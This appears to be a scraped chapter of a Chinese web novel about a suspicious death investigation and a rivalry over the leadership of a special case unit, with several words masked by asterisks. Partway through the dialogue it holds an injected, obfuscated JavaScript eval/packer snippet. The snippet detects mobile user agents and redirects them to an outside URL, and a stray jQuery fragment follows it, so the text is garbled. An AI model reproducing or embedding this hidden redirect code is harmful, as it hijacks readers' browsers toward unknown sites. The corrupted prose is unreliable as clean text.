现在他们的处境确实是很尴尬。
因为他们的调查结果和林二的不一样。
他们准备以心梗死直接结案了,结果林二却突然说他的手上有段永铭自己承认杀了冯胪的证词,这不是妥妥的打脸吗?
好在他们没有提交结案报告,而是先过来试探了一下林二的口风。
如果没有这次的试探,真这么把报告交上去了,那就真的有好戏看了。
可问题是,试探之后现在更麻烦了。
这就好像突然出现了两只时间不同的手表,反而让他们自己都拿不定主意该相信哪一边了。
三人面面相觑,互相看了看,最后女警还是有些迟疑地说道:
“要不去找**看看?”
另一个也说道:“早上看到**的态度,我感觉,他应该是相信那个林组长的调查!”
此刻的司徒明有些烦躁。
冯胪少校的死按照正常的调查方法那肯定是定性为心梗死是最简单直接也是最经济的。
即便段永铭有嫌疑,可是要找到段永铭下毒的证据实在是太难了。
关键是,现在段永铭还**。
这下就是什么,就是死无对证。
除了林二手上的那段录音之外,他们几乎没有办法再进一步地证明冯胪少校是段永铭下毒害死的。
一个已经**的“凶手”,而且还是这么巧妙的方式,这让他们怎么查?
要证明冯胪少校是心梗死很简单,但要证明是段永铭毒杀就非常困难……
林二的这招,相当于是把他们逼上了绝路。
查吧,相当困难;不查吧,名誉不保……
他们都看向了司徒明。
本来这次**部是派别人来的,不过司徒明不知道从哪里得知了消息,特案组的林二居然还牵扯其中。
他对这个素未谋面的林二可谓是恨得咬牙切齿。
本来内定特案组组长是他了,顺利的话,只要上任一年的时间就能解决他的行政职级问题了。
毕竟这是副处级的单位,人虽然不多,但是权限却是极高。
落在了林二这个乡巴佬的手里,简直就是暴殄天物。
林二什么级别?实习刑警!
给他这个,最多就是提前转正,一点屁用都没有。
但是如果给司徒明,他明年就能顺利提干,从正科级跳到副处级,再平调出去,那也是一个分局的局长了。
所以,在他看来,那就是煮熟的鸭子飞了。
不但飞了,还给别人做了嫁衣,他的心里如何能平。
一听说是林二正在查的案子还把自己的给搭进去了,他就信心满满地主动请缨将这个案子给揽上身了。
可**的是,**部的领导还头疼派谁去,结果他自己却跳出来了。
不是他还能有谁?
能在高位的老狐狸又岂能不知道,这个案子连冯胪少校都敢动,那得是多大的能量。
这分明就是得罪大佬的活,办的好也就那样吧,办不好……呵呵,那可就是危险了。
其他人都避之不及,但凡有点**觉悟的人都不会在这个时候强出这个头。
可司徒明偏偏不信这个邪,非要自己上。
他还把原先准备搭建特案组的班底给一起带过来了。
理由很简单,就是要证明给部里的领导看看,他比林二这个乡巴佬更合适这个特案组组长的职位。
至于林二,他还想着等这个案子结了就申请把林二的组长给摘了,自己上。
但是他没想到,竟然是这么个骑虎难下的局面啊。
不过,司徒明也不是绣花枕头。
在快速的梳理了一下整个案情之后,司徒明敏锐地说道:
“先不用!”
“段永铭不是还有一个同伙吗?”
女警这才反应过来,“那个护士长?”
司徒明点了点头,说道:“嗯,我们可以从她那里入手!”
另一边,在他们走后,苏玉麒又来到了林二的房间。
他是很气愤的。
“这个司徒明,就是草包一个!”
“仗着家里有点资源,就敢滥竽充数!”
苏玉麒一进门就火气暴躁地发泄着说道。
莫云天吓得是赶紧回身把门给关上了。
林二则是淡淡地笑了笑,说道:“老爷子,你都这么大岁数了,怎么还这么容易动怒?”
苏老爷子没好气地哼了一声,一屁股坐下来,说道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940549|168526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还不是你给我气的!”
林二愣了一下,“咋又变成了我给气的了?”
苏玉麒冷声说道:“别以为我不知道你小子心眼多!”
“你躲在这里,不去干正事,不知道又在心里盘算着坑谁呢!”
林二愕然:这苏老爷子是要成精啊,这都能知道?
林二只好无奈地笑了笑。
他的确是有意地要避开这个案件。
而且他不单要避开,还要接住林景衡泼过来的脏水。
不过,有些事他也只能是自己知道,不能说出来。
于是,林二笑呵呵地说道:“您老真是火眼金睛,什么都瞒不住您!”
苏玉麒听后可没有一点高兴的神色,相反,他很气愤地质问:
“你小子是不是怕了?”
林二也坦言:“有点!”
苏玉麒冷哼了一声说道:“你怕个屁!”
“有老子给你撑腰,我看谁敢动你!”
林二这个时候心虚地说道:“老爷子,你知道我被停职这个事不?”
苏玉麒瞪大了眼睛地看着他,“你被停职了?”
“我怎么不知道?”
“什么时候的事?”
苏玉麒直接三连问。
林二也是无语了:看来老爷子还真不知道这事。
毕竟也没人通知他啊!
苏玉麒顿时就跟点了**桶似的,叫道:“谁?谁干的?”
林二深吸了一口气,说道:
“老爷子,您稍安勿躁!”
“我倒是觉得这反而是一个机会!”
苏玉麒听得有点懵,一时之间没有反应过来。
“机会?什么机会?”
林二慢条斯理地说道:
“我最近这段时间光芒太盛了,有人想给我泼一泼冷水,让我充分地体验一下什么叫社会的毒打!”
这话从林二的嘴里说出来再落到苏玉麒的耳朵里,怎么听怎么都不对味。
有人要“教育”一下林二?
而林二知道有人要“教育”他?
所以他就装出已经被“教育”的样子?
是这样吗?
苏玉麒总算是梳理出了这句话的几层意思,问:
“你是想将计就计?”